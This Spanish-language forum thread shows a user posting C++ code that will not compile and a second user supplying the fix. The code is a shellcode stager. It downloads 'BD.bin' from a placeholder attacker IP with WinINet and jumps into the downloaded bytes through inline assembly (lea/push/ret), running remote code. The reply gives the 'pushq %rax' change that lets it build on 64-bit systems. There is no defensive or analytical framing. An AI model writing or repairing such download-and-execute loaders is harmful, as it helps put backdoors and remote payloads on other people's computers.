C++ error al compilar (recipe for target 'BD.o' failed) (Error: operand type mismatch for `push')

Iniciado por DonJuanPinorio, 8 Febrero 2021, 22:46 PM

0 Miembros y 1 Visitante están viendo este tema.

DonJuanPinorio

Tengo Problemas ya que al compilar me da estos dos errores y sobre todo el de (Error: operand type mismatch for `push') no soy capaz de solucionarlo ya que el error (recipe for target 'BD.o' failed) puede ser culpa del primero. Gracias si alguien me ayuda

Por si alguien tiene curiosidad el codigo es el siguiente:
====================================
Código (cpp) [Seleccionar]

#include <windows.h>
#include<iostream>
#include<cstring>
#include<Wininet.h>
using namespace std;

unsigned char DataReceived[500];
int main(){
int i;

HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);

if(!connect){
cout<<"Connection Failed or Syntax error";
return 0;
}

HINTERNET OpenAddress = InternetOpenUrl(connect,"http://(aqui tu ip)/share/BD.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);


if ( !OpenAddress )
{
DWORD ErrorNum = GetLastError();
cout<<"Failed to open URL \nError No: "<<ErrorNum;
InternetCloseHandle(connect);
return 0;
}

DWORD NumberOfBytesRead = 0;


while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
{

for(i=0;i<sizeof DataReceived; i++ ){

printf("\\x%02x",DataReceived[i]);

}

__asm ("lea _DataReceived, %eax");
__asm ("push %eax");
__asm ("ret");
}

InternetCloseHandle(OpenAddress);
InternetCloseHandle(connect);

return 0;
}
==================================================



[MOD] Usar las etiquetas GeSHi para publicar codigo.

K-YreX

No recuerdo mucho de ensamblador desde que lo estudié pero buscando un poco en Internet he encontrado este enlace dónde parece que está bien explicado: https://stackoverflow.com/questions/21245245/c-uses-assemble-operand-type-mismatch-for-push

Resumiendo: si utilizas 'push' sin un sufijo 'w/l/q' para 16/32/64 bits respectivamente, el ensamblador determinará cuál es el sufijo más apropiado. Como %eax es de 32 bits, utilizará 'pushl' pero las máquinas con arquitecturas de 64 bits no soportan esa operación de 32 bits.
Solución: Utilizar 'pushq %rax' y trabajar con el registro de 64 bits.

Como ya digo, no tengo mucha experiencia y lo que he dicho está básicamente sacado del enlace a stackoverflow. Espero que te sirva y en caso contrario, siempre puedes echar un vistazo tú mismo a las respuestas por si encuentras algo que te sirva.

Suerte  :-X
Código (cpp) [Seleccionar]

cout << "Todos tenemos un defecto, un error en nuestro código" << endl;